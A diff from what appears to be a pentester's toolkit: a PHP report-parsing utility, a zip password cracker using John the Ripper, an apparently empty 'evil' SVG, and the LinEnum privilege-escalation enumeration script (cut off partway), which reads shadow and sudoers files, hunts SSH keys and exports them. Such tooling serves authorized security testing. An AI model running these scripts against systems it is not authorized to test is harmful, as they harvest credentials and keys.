of a parameter using its long name + * + * @author Patrick Forget + * + * @param string $name long name of the parameter to check + * + * @return string character of the short name or null if it doesn't exist + */ + public function getShortName($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + if (isset($this->longNames[$name])) { + return $this->longNames[$name]['shortName']; + } else { + return null; + } //if + } // getShortName($name) + + /** + * retreive long name of a parameter using its short name + * + * @author Patrick Forget + * + * @param string $name short name of the parameter to check + * + * @return string long name or null if it doesn't exist + */ + public function getLongName($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + if (isset($this->shortNames[$name])) { + return $this->shortNames[$name]; + } else { + return null; + } //if + } // getLongName($name) + + /** + * retreive description of a paramter + * + * @author Patrick Forget + * + * @param string $name either short or long name of the parameter to check + * + * @return string description or null if it doesn't exist + */ + public function getDescription($name) + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + $longName = (strlen($name) == 1 ? ( isset($this->shortNames[$name]) ? $this->shortNames[$name] : '') : $name); + + if (isset($this->longNames[$longName])) { + return $this->longNames[$longName]['description']; + } else { + return null; + } //if + } // getDescription() + + /** + * builds a usage definition based on definition of params + * + * @author Patrick Forget + */ + public function getUsage() + { + if (!$this->isParsed) { + $this->parseDefinitions(); + } //if + + /* build list of argument names and calculate + the first column width so we can pad to + align definitions */ + $firstCol = array(); + $longestDef = 0; + foreach (array_keys($this->longNames) as $longName) { + ob_start(); + echo "--{$longName}|-{$this->getShortName($longName)}"; + + if ($this->allowsValue($longName)) { + echo "={$this->getValueType($longName)}"; + } //if + + if ($this->allowsMultiple($longName)) { + echo "+"; + } //if + + $defLength = ob_get_length(); + + $longestDef = max($longestDef, $defLength); + + $firstCol[$longName] = ob_get_contents(); + ob_end_clean(); + + } //foreach + + $firstColMaxWidth = $longestDef + 4; + + ob_start(); + + foreach ($firstCol as $longName => $def) { + $currentDefLength = strlen($def); + + $padding = str_repeat(" ", $firstColMaxWidth - $currentDefLength); + + echo "{$def}{$padding}{$this->getDescription($longName)}", PHP_EOL; + } //foreach + + echo PHP_EOL; + + $usage = ob_get_contents(); + ob_end_clean(); + + return $usage; + + } // getUsage() + + + /** + * parses the definitions + * + * @author Patrick Forget + */ + protected function parseDefinitions() + { + foreach ($this->definitions as $nameDef => $description) { + $nameParts = explode("|", $nameDef); + + if (sizeof($nameParts) !== 2) { + throw new \UnexpectedValueException("Unexpected argument name definition expecting \"longName|char\""); + } //if + + $longName = $nameParts[0]; + $isMulti = false; + $parameterType = false; + + $shortNameLength = strlen($nameParts[1]); + + if ($shortNameLength == 1) { + $shortName = $nameParts[1]; + } else { + $secondChar = substr($nameParts[1], 1, 1); + + switch ($secondChar) { + case '=': + $shortNameParts = explode("=", $nameParts[1]); + + $shortName = $shortNameParts[0]; + $parameterTypeString = $shortNameParts[1]; + + if (substr($parameterTypeString, -1) === '+') { + $isMulti = true; + $parameterTypeString = substr($parameterTypeString, 0, -1); // remove trailing + + } //if + + switch ($parameterTypeString) { + case 'i': + case 'int': + case 'integer': + $parameterType = 'integer'; + break; + case 's': + case 'str': + case 'string': + $parameterType = 'string'; + break; + default: + throw new \UnexpectedValueException("Expecting parameter type". + " to be either integer or string"); + break; + } //switch + + break; + case '+': + if ($shortNameLength > 2) { + throw new \UnexpectedValueException("Multiple flag charachter (+)". + " should be last character in definition"); + } //if + + $shortName = substr($nameParts[1], 0, 1); + $isMulti = true; + + break; + default: + throw new \UnexpectedValueException("Expecting short name definition to be a single char"); + break; + } // switch + + } //if + + if (isset($this->longNames[$longName])) { + throw new \UnexpectedValueException("Cannot redefine long name {$longName}"); + } //if + + if (isset($this->shortNames[$shortName])) { + throw new \UnexpectedValueException("Cannot redefine short name {$shortName}"); + } //if + + $this->longNames[$longName] = array( + 'shortName' => $shortName, + 'isMultipleAllowed' => $isMulti, + 'parameterType' => $parameterType, + 'description' => $description + ); + + $this->shortNames[$shortName] = $longName; + + } //foreach + + $this->isParsed = true; + } // parseDefinitions() +} diff --git a/ReportToolz/rep2.php b/ReportToolz/rep2.php new file mode 100755 index 0000000..d19c6b8 --- /dev/null +++ b/ReportToolz/rep2.php @@ -0,0 +1,435 @@ +#!/usr/bin/php + "Shows help message", + "doc|d=s" => "/path/to/doc.odt to use", + ) +); + +$filter = new \Clapp\CommandArgumentFilter($definitions, $argv); + +if ($filter->getParam('h') === true || $argc < 2) { + fwrite(STDERR, $definitions->getUsage()); + exit(0); +} + +// see if doc exists +if ($filter->getParam("doc") == false) + die("[-] no doc set\n"); + +echo "[!] doc: ".$filter->getParam("doc")."\n"; +if(!file_exists($filter->getParam("doc"))) + die("[-] no such file! \n"); + +// extract doc and get contents +$rand = uniqid(); +mkdir("/tmp/$rand"); +if(unzipFolder($filter->getParam("doc"), "/tmp/$rand/")) { + $source = file_get_contents("/tmp/$rand/content.xml"); + echo "[+] doc extracted\n"; +} else { + die("[-] unable to extract doc\n"); +} + +// Parse Doc's XML +$line = array(); +$reader = new XMLReader(); +if (!$reader->open("/tmp/$rand/content.xml")) die("[-] Failed to open 'content.xml'\n"); + +// font checker +/*** + * FUTURE FEATURE PERHAPS + */ +$fonts = array(); +while ($reader->read()){ + //print_r($reader->name); + if ($reader->nodeType == XMLREADER::ELEMENT && ($reader->name === 'style:font-face')) { + //if(!empty($reader->name)){ + //echo "here2\n"; + //$line[] = $reader->expand()->textContent; // Put the text into array in correct order... + $fonts[] = $reader->getAttribute("style:name"); + //echo $font;echo "\n"; // DEBUG + //} + } +} +$reader->close(); +//die(); +echo "[=] fonts found: ".sizeof($fonts)."\n"; + +// step through text:h and text:p elements to put them into an array +$reader = new XMLReader(); +if (!$reader->open("/tmp/$rand/content.xml")) die("[-] Failed to open 'content.xml'\n"); +while ($reader->read()){ + if ($reader->nodeType == XMLREADER::ELEMENT && ($reader->name === 'text:h' || $reader->name === 'text:p' || $reader->name === 'text:bookmark')) { + if(!empty($reader->expand()->textContent)) + $line[] = $reader->expand()->textContent; // Put the text into array in correct order... + //echo $reader->expand()->textContent;echo "\n"; // DEBUG + } +} +$reader->close(); + +// find the content we want +$start = 0; $end = 0; +foreach($line as $key => $val){ + if(strpos($val, "Discovered Vulnerabilities") === 0){ $start = $key; } + if(strpos($val, "This section provides a quick guide to plan your remediation for the vulnerabilities discovered during the test.") === 0){ $end = $key-2; } + $line[$key] = trim($val); +} + +// add to sexy array's +$vuln = array(); +$vulnPlace = 0; +$switch = 0; +$sub2 = 0; +$sub3 = 1; +for ($i=$start; $i <= $end ; $i++) { + // change state (action to take) + /*** + * ~states~ + * 0 = do nothing + * 1 = next is title + * 2 = next is description + * 3 = next is solution + * 4 = next is remediation + * 5 = next is cvss no + * 6 = next is risk level + * 7 = next is hosts + * 8 = next possibly title + */ + switch ($line[$i]) { + case 'Discovered Vulnerabilieies': + $switch = 0; + break; + case 'Serious Risk Vulnerabilities': + $sub2++; $sub3 = 1; + $switch = 1; + break; + case 'High Risk Vulnerabilities': + $sub2++; $sub3 = 1; + $switch = 1; + break; + case 'Medium Risk Vulnerabilities': + $sub2++; $sub3 = 1; + $switch = 1; + break; + case 'Low Risk Vulnerabilities': + $sub2++; $sub3 = 1; + $switch = 1; + break; + case 'Description': + $switch = 2; + break; + case 'Solution': + $switch = 3; + break; + case 'Remediation': + $switch = 4; + break; + case 'CVSS Base Score': + $switch = 5; + break; + case 'Risk Level': + $switch = 6; + break; + case 'Vulnerabilities Exist On': + $switch = 7; + break; + default: + # code... + break; + } + + //take action + switch ($switch) { + case 1: + $i++; + $vuln[$vulnPlace]['title'] = $line[$i]; + $vuln[$vulnPlace]['ref'] = "$sub1.$sub2.$sub3"; + $sub3++; + $switch = 0; + break; + case 2: + @$vuln[$vulnPlace]['desc'] .= $line[$i]; + break; + case 3: + @$vuln[$vulnPlace]['fix'] .= $line[$i]; + break; + case 4: + $i++; + $vuln[$vulnPlace]['rem'] = trim(strtok($line[$i], " ")); + $switch = 0; + break; + case 5: + $i++; + $vuln[$vulnPlace]['cvss'] = $line[$i]; + $switch = 0; + break; + case 6: + $i++; + $vuln[$vulnPlace]['risk'] = trim(strtok($line[$i], " ")); + $vuln[$vulnPlace]['owasp'] = trim(substr($line[$i], strpos($line[$i], ":") + 1)); + $switch = 0; + break; + case 7: + $i++; + $vuln[$vulnPlace]['hosts'] = $line[$i]; + $switch = 8; + $vulnPlace++; + break; + case 8: + $vuln[$vulnPlace]['title'] = trim($line[$i]); + $vuln[$vulnPlace]['ref'] = "$sub1.$sub2.$sub3"; + $sub3++; + $switch = 0; + break; + default: + # code... + break; + } + + //echo $line[$i]."\n"; // DEBUG +} + +// minor tidying of arrays +for ($i=0; $i < sizeof($vuln) ; $i++) { + if (strpos($vuln[$i]['desc'], "Description") === 0) $vuln[$i]['desc'] = substr($vuln[$i]['desc'], strlen("Description")); + if (strpos($vuln[$i]['fix'], "Solution") === 0) $vuln[$i]['fix'] = substr($vuln[$i]['fix'], strlen("Solution")); + $vuln[$i]['risk'] = rtrim($vuln[$i]['risk'], ":"); + // remove html encoding + foreach($vuln[$i] as $key => $val){ + $vuln[$i][$key] = mb_convert_encoding($val, "UTF-8", 'UTF-8'); + } +} + +//print_r($vuln); // DEBUG +echo "[+] vulnerabilities identified\n"; + +delTree("/tmp/$rand"); +echo "[+] temp files removed\n"; + +$resultsFolder = substr($filter->getParam("doc"), 0, strrpos( $filter->getParam("doc"), '/') )."/rep2"; +if(!file_exists($resultsFolder."/")){ + mkdir($resultsFolder."/"); + echo "[+] created directory $resultsFolder/\n"; +}else{ + $i = 1; + while (file_exists($resultsFolder."_$i/")) + $i++; + mkdir($resultsFolder."_$i/"); + $resultsFolder .= "_$i"; + echo "[+] created directory $resultsFolder/\n"; +} + +if(writeIssueTable($vuln, "Serious", $resultsFolder."/findings_serious.csv")) + echo "[+] serious issues: $resultsFolder/findings_serious.csv\n"; +if(writeIssueTable($vuln, "High", $resultsFolder."/findings_high.csv")) + echo "[+] high issues: $resultsFolder/findings_serious.csv\n"; +if(writeIssueTable($vuln, "Medium", $resultsFolder."/findings_medium.csv")) + echo "[+] medium issues: $resultsFolder/findings_serious.csv\n"; +if(writeIssueTable($vuln, "Low", $resultsFolder."/findings_low.csv")) + echo "[+] low issues: $resultsFolder/findings_serious.csv\n"; + +if(writeAllTable($vuln, $resultsFolder."/findings_all.csv")) + echo "[+] all issues: $resultsFolder/findings_all.csv\n"; + +if(writeRemediationTable($vuln, $resultsFolder."/remediation.csv")) + echo "[+] remediation table: $resultsFolder/remediation.csv\n"; + +if(writeOWASPTable($vuln, $resultsFolder."/owasp.csv")) + echo "[+] OWASP table: $resultsFolder/owasp.csv\n"; + +viewVulns($vuln); + +function unzipFolder($zipInputFile, $outputFolder) { + $zip = new ZipArchive; + $res = $zip->open($zipInputFile); + if ($res === true) { + $zip->extractTo($outputFolder); + $zip->close(); + return true; + } + else { + return false; + } +} + +function XML2Array(SimpleXMLElement $parent){ + $array = array(); + + foreach ($parent as $name => $element) { + ($node = & $array[$name]) + && (1 === count($node) ? $node = array($node) : 1) + && $node = & $node[]; + + $node = $element->count() ? XML2Array($element) : trim($element); + } + + return $array; +} + +function delTree($dir){ + $files = array_diff(scandir($dir), array('.', '..')); + + foreach ($files as $file) { + (is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file"); + } + + return rmdir($dir); +} + +function viewVulns($vuln){ + $s = $h = $m = $l = 0; + for ($i=0; $i < sizeof($vuln) ; $i++) { + switch ($vuln[$i]['risk']) { + case 'Serious': + $s++; + break; + case 'High': + $h++; + break; + case 'Medium': + $m++; + break; + case 'Low': + $l++; + break; + } + } + echo "[=] Serious = $s, High = $h, Medium = $m, Low = $l\n"; + +echo" +Ref | Title | Risk | CVSS | Remediation | OWASP +-------|-----------------------------------|--------|--------|---------------|------------------------------\n"; +for ($i=0; $i < sizeof($vuln) ; $i++) { + $ref = str_pad($vuln[$i]['ref'], 7); + $title = str_pad($vuln[$i]['title'], 35); + $risk = str_pad($vuln[$i]['risk'], 8); + $cvss = str_pad($vuln[$i]['cvss'], 8); + $rem = str_pad($vuln[$i]['rem'], 15); + $owasp = str_pad($vuln[$i]['owasp'], 30); + + echo substr($ref, 0, 7); echo "|"; + echo substr($title, 0, 35); echo "|"; + echo substr($risk, 0, 8); echo "|"; + echo substr($cvss, 0, 8); echo "|"; + echo substr($rem, 0, 15); echo "|"; + echo substr($owasp, 0, 30); echo "\n"; +} +} + +function writeIssueTable($vuln, $issue, $path){ + $towrite = array(); + for ($i=0; $i < sizeof($vuln) ; $i++) { + if($vuln[$i]['risk'] == $issue){ + $towrite[$i]['desc'] = $vuln[$i]['title']." - ".$vuln[$i]['desc']; + $towrite[$i]['fix'] = $vuln[$i]['fix']; + $towrite[$i]['ref'] = $vuln[$i]['ref']; + $towrite[$i]['hosts'] = $vuln[$i]['hosts']; + } + } + if(sizeof($towrite) > 0){ + $fp = fopen($path, 'w'); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + foreach ($towrite as $fields) { + fputcsv($fp, $fields); + } + fclose($fp); + return true; + }else{ + return false; + } +} + +function writeAllTable($vuln, $path){ + if(sizeof($vuln) > 0){ + $fp = fopen($path, 'w'); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + fputcsv($fp, array("Title", "Ref", "Description", "Solution", "Remediation", "CVSS", "Risk", "OWASP", "Affected")); + foreach ($vuln as $fields) { + fputcsv($fp, $fields); + } + fclose($fp); + return true; + }else{ + return false; + } +} + +function writeRemediationTable($vuln, $path){ + $towrite = array(); + for ($i=0; $i < sizeof($vuln) ; $i++) { + $towrite[$i]['hosts'] = $vuln[$i]['hosts']; + $towrite[$i]['ref'] = $vuln[$i]['ref']; + $towrite[$i]['p'] = " "; + $towrite[$i]['c'] = " "; + $towrite[$i]['d'] = " "; + $towrite[$i]['u'] = " "; + switch ($vuln[$i]['rem']) { + case 'Patch': + $towrite[$i]['p'] = $vuln[$i]['risk'][0]; + break; + case 'Configuration': + $towrite[$i]['c'] = $vuln[$i]['risk'][0]; + break; + case 'Development': + $towrite[$i]['d'] = $vuln[$i]['risk'][0]; + break; + case 'Upgrade': + $towrite[$i]['u'] = $vuln[$i]['risk'][0]; + break; + } + } + if(sizeof($towrite) > 0){ + $fp = fopen($path, 'w'); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + fputcsv($fp, array("Host", "Ref", "P", "C", "D", "U")); + foreach ($towrite as $fields) { + fputcsv($fp, $fields); + } + fclose($fp); + return true; + }else{ + return false; + } +} + +function writeOWASPTable($vuln, $path){ + $towrite = array(); + for ($i=0; $i < sizeof($vuln) ; $i++) { + if(in_array($vuln[$i]['owasp'], array_column($towrite, 'owaspId'))){ + $towrite[$vuln[$i]['owasp']]['no']++; + }else{ + $towrite[$vuln[$i]['owasp']]['owaspId'] = $vuln[$i]['owasp']; + $towrite[$vuln[$i]['owasp']]['no'] = 1; + } + } + if(sizeof($towrite) > 0){ + $fp = fopen($path, 'w'); + fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF)); + foreach ($towrite as $fields) { + fputcsv($fp, $fields); + } + fclose($fp); + return true; + }else{ + return false; + } +} + +?> \ No newline at end of file diff --git a/crack_zip.sh b/crack_zip.sh new file mode 100755 index 0000000..bc6de1a --- /dev/null +++ b/crack_zip.sh @@ -0,0 +1,18 @@ +#!/bin/bash +echo "ZIP-JTR Decrypt Script"; +if [ $# -ne 2 ] +then +echo "Usage $0 "; +exit; +fi +unzip -l $1 +for i in $(john --wordlist=$2 --rules --stdout) +do + echo -ne "\rtrying \"$i\" " + unzip -o -P $i $1 >/dev/null 2>&1 + STATUS=$? + if [ $STATUS -eq 0 ]; then + echo -e "\nArchive password is: \"$i\"" + break + fi +done diff --git a/evilsvgfile.svg b/evilsvgfile.svg new file mode 100755 index 0000000..07d08f0 --- /dev/null +++ b/evilsvgfile.svg @@ -0,0 +1,9 @@ + + + + + + + \ No newline at end of file diff --git a/privesc/LinEnum.sh b/privesc/LinEnum.sh new file mode 100755 index 0000000..fe8d7a2 --- /dev/null +++ b/privesc/LinEnum.sh @@ -0,0 +1,1208 @@ +#!/bin/bash +#A script to enumerate local information from a Linux host +v="version 0.5 (experimental)" +#@oshearing + +#help function +usage () +{ +echo -e "\n\e[00;31m#########################################################\e[00m" +echo -e "\e[00;31m#\e[00m" "\e[00;33mLocal Linux Enumeration & Privilege Escalation Script\e[00m" "\e[00;31m#\e[00m" +echo -e "\e[00;31m#########################################################\e[00m" +echo -e "\e[00;33m# www.rebootuser.com\e[00m" +echo -e "\e[00;33m# $v\e[00m\n" +echo -e "\e[00;33m# Example: ./LinEnum.sh -k keyword -r report -e /tmp/ -t \e[00m\n" + + echo "OPTIONS:" + echo "-k Enter keyword" + echo "-e Enter export location" + echo "-t Include thorough (lengthy) tests" + echo "-r Enter report name" + echo "-h Displays this help text" + echo -e "\n" + echo "Running with no options = limited scans/no output file" + +echo -e "\e[00;31m#########################################################\e[00m" +} +while getopts "h:k:r:e:t" option; do + case "${option}" in + k) keyword=${OPTARG};; + r) report=${OPTARG}"-"`date +"%d-%m-%y"`;; + e) export=${OPTARG};; + t) thorough=1;; + h) usage; exit;; + *) usage; exit;; + esac +done + +echo -e "\n\e[00;31m#########################################################\e[00m" |tee -a $report 2>/dev/null +echo -e "\e[00;31m#\e[00m" "\e[00;33mLocal Linux Enumeration & Privilege Escalation Script\e[00m" "\e[00;31m#\e[00m" |tee -a $report 2>/dev/null +echo -e "\e[00;31m#########################################################\e[00m" |tee -a $report 2>/dev/null +echo -e "\e[00;33m# www.rebootuser.com\e[00m" |tee -a $report 2>/dev/null +echo -e "\e[00;33m# $version\e[00m\n" |tee -a $report 2>/dev/null + +echo "Debug Info" |tee -a $report 2>/dev/null + +if [ "$keyword" ]; then + echo "keyword = $keyword" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$report" ]; then + echo "report name = $report" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ]; then + echo "export location = $export" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$thorough" ]; then + echo "thorough tests = enabled" |tee -a $report 2>/dev/null +else + echo "thorough tests = disabled" |tee -a $report 2>/dev/null +fi + +sleep 2 + +if [ "$export" ]; then + mkdir $export 2>/dev/null + format=$export/LinEnum-export-`date +"%d-%m-%y_%H:%M"` + mkdir $format 2>/dev/null +else + : +fi + +who=`whoami` |tee -a $report 2>/dev/null +echo -e "\n" |tee -a $report 2>/dev/null + +echo -e "\e[00;33mScan started at:"; date |tee -a $report 2>/dev/null +echo -e "\e[00m\n" |tee -a $report 2>/dev/null + +echo -e "\e[00;33m### SYSTEM ##############################################\e[00m" |tee -a $report 2>/dev/null + +#basic kernel info +unameinfo=`uname -a 2>/dev/null` +if [ "$unameinfo" ]; then + echo -e "\e[00;31mKernel information:\e[00m\n$unameinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +procver=`cat /proc/version 2>/dev/null` +if [ "$procver" ]; then + echo -e "\e[00;31mKernel information (continued):\e[00m\n$procver" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#search all *-release files for version info +release=`cat /etc/*-release 2>/dev/null` +if [ "$release" ]; then + echo -e "\e[00;31mSpecific release information:\e[00m\n$release" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#target hostname info +hostnamed=`hostname 2>/dev/null` +if [ "$hostnamed" ]; then + echo -e "\e[00;31mHostname:\e[00m\n$hostnamed" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### USER/GROUP ##########################################\e[00m" |tee -a $report 2>/dev/null + +#current user details +currusr=`id 2>/dev/null` +if [ "$currusr" ]; then + echo -e "\e[00;31mCurrent user/group info:\e[00m\n$currusr" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#last logged on user information +lastlogedonusrs=`lastlog |grep -v "Never" 2>/dev/null` +if [ "$lastlogedonusrs" ]; then + echo -e "\e[00;31mUsers that have previously logged onto the system:\e[00m\n$lastlogedonusrs" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#strips out username uid and gid values from /etc/passwd +usrsinfo=`cat /etc/passwd | cut -d ":" -f 1,2,3,4 2>/dev/null` +if [ "$usrsinfo" ]; then + echo -e "\e[00;31mAll users and uid/gid info:\e[00m\n$usrsinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#lists all id's and respective group(s) +grpinfo=`for i in $(cat /etc/passwd 2>/dev/null| cut -d":" -f1 2>/dev/null);do id $i;done 2>/dev/null` +if [ "$grpinfo" ]; then + echo -e "\e[00;31mGroup memberships:\e[00m\n$grpinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#checks to see if any hashes are stored in /etc/passwd (depreciated *nix storage method) +hashesinpasswd=`grep -v '^[^:]*:[x]' /etc/passwd 2>/dev/null` +if [ "$hashesinpasswd" ]; then + echo -e "\e[00;33mIt looks like we have password hashes in /etc/passwd!\e[00m\n$hashesinpasswd" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#locate custom user accounts with some 'known default' uids +readpasswd=`grep -v "^#" /etc/passwd | awk -F: '$3 == 0 || $3 == 500 || $3 == 501 || $3 == 502 || $3 == 1000 || $3 == 1001 || $3 == 1002 || $3 == 2000 || $3 == 2001 || $3 == 2002 { print }'` +if [ "$readpasswd" ]; then + echo -e "\e[00;31mSample entires from /etc/passwd (searching for uid values 0, 500, 501, 502, 1000, 1001, 1002, 2000, 2001, 2002):\e[00m\n$readpasswd" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$readpasswd" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/passwd $format/etc-export/passwd 2>/dev/null +else + : +fi + +#checks to see if the shadow file can be read +readshadow=`cat /etc/shadow 2>/dev/null` +if [ "$readshadow" ]; then + echo -e "\e[00;33m***We can read the shadow file!\e[00m\n$readshadow" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$readshadow" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/shadow $format/etc-export/shadow 2>/dev/null +else + : +fi + +#checks to see if /etc/master.passwd can be read - BSD 'shadow' variant +readmasterpasswd=`cat /etc/master.passwd 2>/dev/null` +if [ "$readmasterpasswd" ]; then + echo -e "\e[00;33m***We can read the master.passwd file!\e[00m\n$readmasterpasswd" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$readmasterpasswd" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/master.passwd $format/etc-export/master.passwd 2>/dev/null +else + : +fi + +#all root accounts (uid 0) +echo -e "\e[00;31mSuper user account(s):\e[00m" | tee -a $report 2>/dev/null; grep -v -E "^#" /etc/passwd 2>/dev/null| awk -F: '$3 == 0 { print $1}' 2>/dev/null |tee -a $report 2>/dev/null +echo -e "\n" |tee -a $report 2>/dev/null + +#pull out vital sudoers info +sudoers=`cat /etc/sudoers 2>/dev/null | grep -v -e '^$'|grep -v "#"` +if [ "$sudoers" ]; then + echo -e "\e[00;31mSudoers configuration (condensed):\e[00m$sudoers" | tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$sudoers" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/sudoers $format/etc-export/sudoers 2>/dev/null +else + : +fi + +#can we sudo without supplying a password +sudoperms=`echo '' | sudo -S -l 2>/dev/null` +if [ "$sudoperms" ]; then + echo -e "\e[00;33mWe can sudo without supplying a password!\e[00m\n$sudoperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#known 'good' breakout binaries +sudopwnage=`echo '' | sudo -S -l 2>/dev/null | grep -w 'nmap\|perl\|'awk'\|'find'\|'bash'\|'sh'\|'man'\|'more'\|'less'\|'vi'\|'vim'\|'nc'\|'netcat'\|python\|ruby\|lua\|irb' | xargs -r ls -la 2>/dev/null` +if [ "$sudopwnage" ]; then + echo -e "\e[00;33m***Possible Sudo PWNAGE!\e[00m\n$sudopwnage" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#checks to see if roots home directory is accessible +rthmdir=`ls -ahl /root/ 2>/dev/null` +if [ "$rthmdir" ]; then + echo -e "\e[00;33m***We can read root's home directory!\e[00m\n$rthmdir" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#displays /home directory permissions - check if any are lax +homedirperms=`ls -ahl /home/ 2>/dev/null` +if [ "$homedirperms" ]; then + echo -e "\e[00;31mAre permissions on /home directories lax:\e[00m\n$homedirperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#looks for files we can write to that don't belong to us +if [ "$thorough" = "1" ]; then + grfilesall=`find / -writable -not -user \`whoami\` -type f -not -path "/proc/*" -exec ls -al {} \; 2>/dev/null` + if [ "$grfilesall" ]; then + echo -e "\e[00;31mFiles not owned by user but writable by group:\e[00m\n$grfilesall" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi +fi + +#looks for world-reabable files within /home - depending on number of /home dirs & files, this can take some time so is only 'activated' with thorough scanning switch +if [ "$thorough" = "1" ]; then +wrfileshm=`find /home/ -perm -4 -type f -exec ls -al {} \; 2>/dev/null` + if [ "$wrfileshm" ]; then + echo -e "\e[00;31mWorld-readable files within /home:\e[00m\n$wrfileshm" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +if [ "$thorough" = "1" ]; then + if [ "$export" ] && [ "$wrfileshm" ]; then + mkdir $format/wr-files/ 2>/dev/null + for i in $wrfileshm; do cp --parents $i $format/wr-files/ ; done 2>/dev/null + else + : + fi + else + : +fi + +#lists current user's home directory contents +if [ "$thorough" = "1" ]; then +homedircontents=`ls -ahl ~ 2>/dev/null` + if [ "$homedircontents" ] ; then + echo -e "\e[00;31mHome directory contents:\e[00m\n$homedircontents" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#checks for if various ssh files are accessible - this can take some time so is only 'activated' with thorough scanning switch +if [ "$thorough" = "1" ]; then +sshfiles=`find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" 2>/dev/null |xargs -r ls` + if [ "$sshfiles" ]; then + echo -e "\e[00;31mSSH keys/host information found in the following locations:\e[00m\n$sshfiles" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +if [ "$thorough" = "1" ]; then + if [ "$export" ] && [ "$sshfiles" ]; then + mkdir $format/ssh-files/ 2>/dev/null + for i in $sshfiles; do cp --parents $i $format/ssh-files/; done 2>/dev/null + else + : + fi + else + : +fi + +#is root permitted to login via ssh +sshrootlogin=`grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | awk '{print $2}'` +if [ "$sshrootlogin" = "yes" ]; then + echo -e "\e[00;31mRoot is allowed to login via SSH:\e[00m" |tee -a $report 2>/dev/null; grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v "#" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### ENVIRONMENTAL #######################################\e[00m" |tee -a $report 2>/dev/null + +#current path configuration +pathinfo=`echo $PATH 2>/dev/null` +if [ "$pathinfo" ]; then + echo -e "\e[00;31mPath information:\e[00m\n$pathinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#lists available shells +shellinfo=`cat /etc/shells 2>/dev/null` +if [ "$shellinfo" ]; then + echo -e "\e[00;31mAvailable shells:\e[00m\n$shellinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#current umask value with both octal and symbolic output +umask=`umask -S 2>/dev/null & umask 2>/dev/null` +if [ "$umask" ]; then + echo -e "\e[00;31mCurrent umask value:\e[00m\n$umask" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#umask value as in /etc/login.defs +umaskdef=`cat /etc/login.defs 2>/dev/null |grep -i UMASK 2>/dev/null |grep -v "#" 2>/dev/null` +if [ "$umaskdef" ]; then + echo -e "\e[00;31mumask value as specified in /etc/login.defs:\e[00m\n$umaskdef" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#password policy information as stored in /etc/login.defs +logindefs=`cat /etc/login.defs 2>/dev/null | grep "PASS_MAX_DAYS\|PASS_MIN_DAYS\|PASS_WARN_AGE\|ENCRYPT_METHOD" 2>/dev/null | grep -v "#" 2>/dev/null` +if [ "$logindefs" ]; then + echo -e "\e[00;31mPassword and storage information:\e[00m\n$logindefs" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$logindefs" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/login.defs $format/etc-export/login.defs 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### JOBS/TASKS ##########################################\e[00m" |tee -a $report 2>/dev/null + +#are there any cron jobs configured 